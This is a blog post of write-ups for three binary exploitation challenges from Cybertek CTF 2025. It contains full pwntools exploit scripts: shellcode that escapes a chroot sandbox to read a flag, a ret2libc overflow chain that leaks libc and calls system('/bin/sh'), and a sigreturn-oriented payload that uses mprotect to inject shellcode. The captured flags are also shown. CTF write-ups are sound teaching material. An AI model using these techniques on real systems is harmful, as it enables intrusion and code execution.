Cybertek CTF 2025 - Writeups

Ranked 4thWriteup

This post contains quick writeups for some of the challenges I solved during the Cybertek CTF.


babysandbox

FROM ubuntu:24.04

RUN apt-get update && apt-get install -y \
    socat \
    && rm -rf /var/lib/apt/lists/*

RUN useradd -m ctf

WORKDIR /home/ctf

COPY main /home/ctf/main
COPY flag.txt /home/ctf/flag.txt

RUN chmod +x /home/ctf/main && chmod 444 /home/ctf/flag.txt

USER ctf

EXPOSE 1333

CMD ["socat", "TCP-LISTEN:1333,reuseaddr,fork", "EXEC:/home/ctf/main"]
unsigned __int64 challenge()
{
  void *buf; // [rsp+0h] [rbp-30h]
  __int64 v2; // [rsp+8h] [rbp-28h]
  char path[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("----------------Welcome to BABYSANDBOX----------------");
  puts("I invite you to upload a custom shellcode to do whatever you want");
  puts("Well whatever we agree on");
  strcpy(path, "/tmp/jail-XXXXXX");
  mkdtemp(path);
  chroot(path);
  chdir("/");
  putchar('>');
  buf = mmap((void *)0x1337000, 0x1000u, 7, 0x22, 0, 0);
  read(0, buf, 0x1000u);
  v2 = seccomp_init(0);
  seccomp_rule_add(v2, 0x7FFF0000, 2, 0);
  seccomp_rule_add(v2, 0x7FFF0000, 0, 0);
  seccomp_rule_add(v2, 0x7FFF0000, 0x28, 0);
  seccomp_rule_add(v2, 0x7FFF0000, 0x53, 0);
  seccomp_rule_add(v2, 0x7FFF0000, 0x50, 0);
  seccomp_rule_add(v2, 0x7FFF0000, 0xA1, 0);
  seccomp_rule_add(v2, 0x7FFF0000, 4, 0);
  seccomp_rule_add(v2, 0x7FFF0000, 0x3C, 0);
  puts("Executing shellcode!\n");
  seccomp_load(v2);
  ((void (*)(void))buf)();
  seccomp_release(v2);
  return v4 - __readfsqword(0x28u);
}

This is a basic sandbox that chroots into /tmp/jail then changes the cwd into root.
It disallows all syscalls except:

  • open
  • read
  • sendfile
  • mkdir
  • chdir
  • chroot
  • stat
  • exit

User input is read and then executed.

Strategy

  • make a new dir (0x53) and chroot (0xa1) to it without chdir to root so we can use .. (relative path reference to the parent directory) and escape to our ../../home/ctf/flag.txt
  • use the open (0x2), read (0x0) and sendfile (0x28) syscalls to print the flag
  • gg
from pwn import*

elf = context.binary = ELF('./main')
p = process()

payload = asm("""
    mov rax, 0x53               
    mov rdi, 0x41                   /* directory ./A */
    push rdi
    mov rdi, rsp
    mov rsi, 777
    syscall

    mov rax, 0xa1   
    syscall

    mov rax, 0x2            
    mov rdi, 0x007478742e67616c
    push rdi
    mov rdi, 0x662f6674632f656d
    push rdi
    mov rdi, 0x6f682f2e2e2f2e2e
    push rdi
    mov rdi, rsp                    /* points to ../../home/ctf/flag.txt */
    xor rsi, rsi
    xor rdx, rdx
    syscall

    cmp rax, 0          
    jge flag_opened
    mov rdi, rax
    neg rdi
    mov rax, 60
    syscall

flag_opened:
    mov rdi, 0x1    
    mov rsi, rax
    mov rdx, 0x0
    mov r10, 0x50
    mov rax, 0x28
    syscall
""")

p.send(payload)
p.interactive()

Securinets{3e299c7914cee8be389036792c3d8a40536de5fffdba33bb9fcffe3c}


recall

Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
Stripped: No
int setup()
{
  int result; // eax

  setresgid(0, 0, 0);
  setresuid(0, 0, 0);
  setvbuf(stdin, 0, 2, 0);
  result = setvbuf(_bss_start, 0, 2, 0);
  SET = 0;
  return result;
}

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[32]; // [rsp+0h] [rbp-20h] BYREF

  if ( SET != 1 )
    exit(1);
  setup(argc, argv, envp);
  fflush(_bss_start);
  puts(" Welcome to the recall service! ");
  puts("Enter your name: ");
  fflush(_bss_start);
  gets(v4);
  printf("Hello, %s\n", v4);
  return fflush(_bss_start);
}

This is a basic ret2libc with a simple twist, main can only run once (supposedly) and exits if you ret2main by checking if SET has changed (which it does in the setup() function)

Strategy

  • leak libc with puts
  • call gets(&SET) to reset it to \x01
  • ret2main
  • call system(b'/bin/sh')
from pwn import*

elf = context.binary = ELF('./recall')
libc = ELF('./libc.so.6')
rop = ROP(elf)
p = process()


pop_rdi = 0x401219
SET = 0x404010

payload = (b'A' * 0x28 
           + p64(pop_rdi)
           + p64(elf.got.puts)
           + p64(elf.sym.puts)
           + p64(pop_rdi)
           + p64(SET)
           + p64(elf.sym.gets)
           + p64(elf.sym.main)
           )

p.clean()
p.sendline(payload)

p.recvline()
libc.address = u64(p.recvline().strip().ljust(0x8, b'\x00')) - libc.sym.puts
log.success("leaked libc: " + hex(libc.address))

sleep(0.5)
p.sendline(b'\x01')

payload = (b'B' * 0x28
           + p64(0x401219)
           + p64(next(libc.search(b'/bin/sh\x00')))
           + p64(libc.sym.system)
           )

sleep(0.5)
p.sendline(payload)

p.interactive()

Securinets{Always_reC1ll_Before_Plt!!}


SROwave

0000000000401000 <_start>:
  401000:	48 b8 5d 10 40 00 00 	movabs rax,0x40105d
  401007:	00 00 00 
  40100a:	50                   	push   rax
  40100b:	b8 01 00 00 00       	mov    eax,0x1
  401010:	bf 01 00 00 00       	mov    edi,0x1
  401015:	48 8d 34 25 00 20 40 	lea    rsi,ds:0x402000
  40101c:	00 
  40101d:	ba 46 00 00 00       	mov    edx,0x46
  401022:	0f 05                	syscall
  401024:	b8 01 00 00 00       	mov    eax,0x1
  401029:	bf 01 00 00 00       	mov    edi,0x1
  40102e:	48 8d 34 25 46 20 40 	lea    rsi,ds:0x402046
  401035:	00 
  401036:	ba 12 00 00 00       	mov    edx,0x12
  40103b:	0f 05                	syscall
  40103d:	48 83 ec 40          	sub    rsp,0x40
  401041:	b8 00 00 00 00       	mov    eax,0x0
  401046:	bf 00 00 00 00       	mov    edi,0x0
  40104b:	48 89 e6             	mov    rsi,rsp
  40104e:	ba 00 02 00 00       	mov    edx,0x200
  401053:	0f 05                	syscall
  401055:	48 31 f6             	xor    rsi,rsi
  401058:	48 83 c4 40          	add    rsp,0x40
  40105c:	c3                   	ret

000000000040105d <exit_syscall>:
  40105d:	b8 3c 00 00 00       	mov    eax,0x3c
  401062:	48 31 ff             	xor    rdi,rdi
  401065:	0f 05                	syscall
  401067:	58                   	pop    rax
  401068:	c3                   	ret
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA

Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x400000 0x401000 r--p 1000 0 main
0x401000 0x402000 r-xp 1000 1000 main
0x402000 0x403000 r--p 1000 2000 main
0x7ffff7ff9000 0x7ffff7ffb000 r--p 2000 0 [vvar]
0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 0 [vvar_vclock]
0x7ffff7ffd000 0x7ffff7fff000 r-xp 2000 0 [vdso]
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]

Everything suggests this is an SROP task, we just don't have any writable region for our /bin/sh (and the binary doesn't natively contain it)

Strategy

  • Use mprotect to change protections on the executable region and get write permission on it
  • Instead of doing the traditional execve('/bin/sh') with a SigreturnFrame we can inject shellcode directly into the executable region of the binary right after the read syscall so we override the remaining instructions and resume execution into our open-read-write flag.txt
  • gg in 1 rt_sigreturn syscall
from pwn import*

elf = context.binary = ELF('./main')
p = process()

frame = SigreturnFrame()
frame.rdi = 0x401000
frame.rsi = 0x1000
frame.rdx = 0x7     /* read | write | exec */
frame.rax = 0xa
frame.rip = 0x40103b
frame.rsp = 0x401055 + 0x40

payload = ( 
        b'A' * 0x40
        + p64(0x401067)
        + p64(0xf)
        + p64(0x40103b)
        + bytes(frame)
        )

sleep(0.5)
p.sendline(payload)

shellcode = asm("""
    mov rax, 2
    xor rsi, rsi
    push rsi
    xor rdx, rdx
    push rdx
    mov rdi, 0x7478742e67616c66
    push rdi
    mov rdi, rsp
    syscall

    mov rdi, rax
    mov rax, 0
    lea rsi, [rsp+0x100]
    mov rdx, 100
    syscall

    mov rax, 1
    mov rdi, 1
    lea rsi, [rsp+0x100]
    mov rdx, 100
    syscall
""")

sleep(0.5)
p.sendline(shellcode)

p.interactive()

Securinets{SR0p_1S_C00l_0x1337}

Did you find this post helpful?
Back to blog